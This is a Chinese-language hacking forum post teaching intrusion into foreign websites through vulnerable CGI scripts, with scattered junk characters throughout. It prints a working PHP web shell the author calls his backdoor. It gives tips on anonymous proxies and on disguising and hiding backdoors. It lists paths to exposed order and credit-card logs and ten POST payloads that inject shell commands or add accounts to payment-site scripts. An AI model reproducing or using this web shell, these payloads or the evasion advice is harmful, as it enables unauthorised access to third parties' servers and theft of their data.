CGI 脚本入侵快速上手+脚本使用方法

admin

CGI 脚本入侵快速上手+脚本使用方法
大家好 我是bboyhip  只是一名菜菜的exploiter
很开心来到贵论坛
/ q$ b$ ^3 D8 }- b, J  ^0 A) o这里让我感觉 很有技术交流的感觉
, u+ E# U; @0 Z: O我会长长来玩的
" }. R% L8 E% l3 S前言:
以下讲解针对欧美日本网站
當我們在做滲透分析的時候 方法有很多
我门都知道 国外伺服器大多是linux 平台
7 Q1 j* @% b3 w" p* S5 p' A4 o5 ~所以有很多网站程序有6成都会使用cgi 脚本来管理
$ l) v, c0 p( ^4 Y+ |目录为/cgi-bin/

  i$ H- @! j3 }, |只是个人在实务上一些经验
写的不好 请多多见谅喔
在这里我简单分为几个部份一定要會的
讲解一下
6 K% @, L0 u# X/ b8 }7 u让没有基础的人很容易上手
. Z8 {, X' G4 P0 w$ i5 h/ Y
以下内容跟帖回复才能看到
9 A! u+ m* C3 C$ l7 e1 D==============================

第1部份: 何谓Shell?
Shell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:
. s6 h, I* L& C7 o. d- N' i; H- b  r$ CA shell is the program which reads user input from the command line and executes actions based upon that input.
7 M# ?, \( `% S; O. C& o意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.
- T: N3 ~; ^( Q1 U! Z- g
对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  
要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
& Y  Z' b- \7 y/ s所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.

第2部份: Unix 指令
5 }' N) O: ^- c3 k以下是一些常见及重要的指令:
0 h3 a! b% @3 D2 A3 }; p! Lpwd: 显示当前目录, 即是後门/程式所在的位置
5 z! f: E7 C) H, H3 l$ W如 /home/www/site.com/cgi-bin/
ls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
ls -al :详细列出档案资料(当前目录)
ls /: 列出根目录
7 W& R9 u0 h4 [8 p" Dls /etc: 列出/etc的资料夹及档案
ls ../ -al: 详细列出上一层的资料夹及档案
cat: 显示档案内容
- `' s7 A( s+ L1 ycat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
+ X# \' d" A: h1 R% ucat /etc/passwd: 显示 /etc/passwd 这个档案的内容
who: 显示谁login 至系统
7 _8 I$ p% \% |+ c3 ~& i& B9 Dman: 显示指令用法  
$ X2 P& @& ]9 b4 t% i. |" t# nman ls: 显示ls这指令的用法  
mkdir 建立目录
7 t5 y1 c' H  ~( Y9 u0 `rmdir 删除目录
1 |- G2 B% v$ B; f# c0 H4 Cmv 移动档案
' N, Z0 K) o' E  Q3 K: c: Prm 删除档案
; v. e6 S% h  h2 {  d( d
- Z& {' p- ~9 R% `* Z; E第3部份: Shell的使用
3 {0 E! V; M- h( j0 t例如:
http://site.com/refer.php
, V& y3 L& t2 _7 v' d这是我的後门, 原代码如下:
<Form Action="#" Method="POST">
& Y# a% U& Z; B<Input type="text" name="cmd">
4 r) G. B! {) v2 X9 d<Input type="Submit">
( w/ H1 e! d  E- f5 t0 N8 a0 J</Form>
<?php
$cmd = $_POST['cmd'];
$Output = shell_exec($cmd);
echo $Output;
?>
6 L( i+ b! I: T3 K: D  K: @输入pwd, 可得到绝对路径:
. X2 ]. |$ @9 k- ?9 _: c/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com
) @  w7 q+ {/ D5 K
第4部份: 注意事项
- 使用匿名代理, 保障自己
9 M) n4 p/ D/ }# m- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
( m6 \6 Q" [! Q1 P- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
8 I* t# f6 b4 }) f2 m- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
4 q: P& w9 p2 ?% c6 ?' P不容易被发现.
- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
; m; W' B& q6 ]3 P针对网站的渗透分析方法太多了
$ @+ v  {4 c8 e0 n% {5 P- f& @这篇文章的重点是cgi 脚本攻击
2 a' P: ?! W- \# @; X& V* J所以我用简单的叙述形容
开始讲解脚本入侵过程:
4 L1 r: m/ s1 W, y, E在这里提供一些方法思路让大家学习一下
5 s3 s& c6 F" g2 D0 ?% D  c* o5 a, J
* @; Y" {6 c" M+ ?8 h$ y  e7 C1.一开始对一个网站进行cgi漏洞扫描
+ K% z  e3 p9 Y* }$ n我们需要的东西有
+ w! _; Q. \0 a扫洞工具 如:triton..等等
E表
如
4 D0 K) k' f$ N9 v/cgi-bin/add-passwd.cgi
8 x9 c! j$ O; p4 q- T/WebShop/templates/cc.txt
/Admin_files/order.log
7 \( Z& G0 c. Z$ q, N$ ?) h  j+ r7 ~/orders/mountain.cfg
! O4 Y8 `& G9 _! T, @/cgi-sys/cart.pl
/scripts/cart.pl
4 X, _$ s$ M6 D  o4 ]/htbin/cart.pl
E表来源可以是网路收寻或是自己的0 day

$ _+ R) x" t- K, m3 i2.怎样确认扫到的洞 是真的还假的?
举例: target: http://www.site.com/cgi-bin/add-passwd.cgi
/ D" A, B4 u# u# \4 G% K, _一般都是在IE里先看一下的,记住这个返回码哦
# J/ U4 i% d0 ^, V+ p, UERROR:This script should be referenced with a METHOD of POST.
没有返回一定是假的
3.重来来了 很多人都会问我
他扫到很多洞 但是不会使用
因为这些漏洞 使用的语法 称为post
4 L0 Z0 Q, S5 e) A) G* H6 y我们要找post 的方法很多
可以是源代码分析 找出介质
或是用抓包工具 抓他的语法...等等

以下我提供10个 cgi 洞以及使用方法post
/ i1 v8 W0 i0 h0 v6 }让大家可以针对网站去做扫描  
/index.cgi
1 O: A) w7 k( M7 \# S; M, e/ R1 gwei=ren&gen=command
2 W/ h$ d6 [5 a0 J& V/passmaster.cgi
Action=Add&Username=Username&Password=Password
$ ^% ?0 l" j# g, W3 X7 B" ?$ w) I/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|
/form.cgi
, r1 d/ o: S" C! xname=xxxx&email=email&subject=xxxx&response=|echo;ls|
7 z$ B8 @  T4 a8 n5 t9 `% W/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password
- k) p! l0 [' O  C* J1 g& g/ J6 q) G/ccbill-local.asp
8 Z. r! X5 X: m* I0 K; L! s' L# O( Hpost_values=username:password
0 ~: X) S, a) q8 u! r0 E8 S# B/count.cgi
4 w) _$ }# L( I8 w$ vpinfile=|echo;ls -la;exit|
" Y0 C  c' z* Y9 P/recon.cgi
/ o, q, N% S9 Q/recon.cgi?search
" Q/ B2 G. o# q' L) A$ P1 Csearchoption=1&searchfor=|echo;ls -al;exit|
! ^3 J0 b. @6 s9 H/verotelrum.pl
# t7 q0 g, W- g, Qvercode=username:password:dseegsow:add:amount<&30>
) o9 X6 B& Q" F6 h/af.cgi_browser_out=|echo;ls -la;exit;|

今天就讲到这  感谢大家支持
' d$ q) y+ G2 h* g0 c% y4 ~0 ^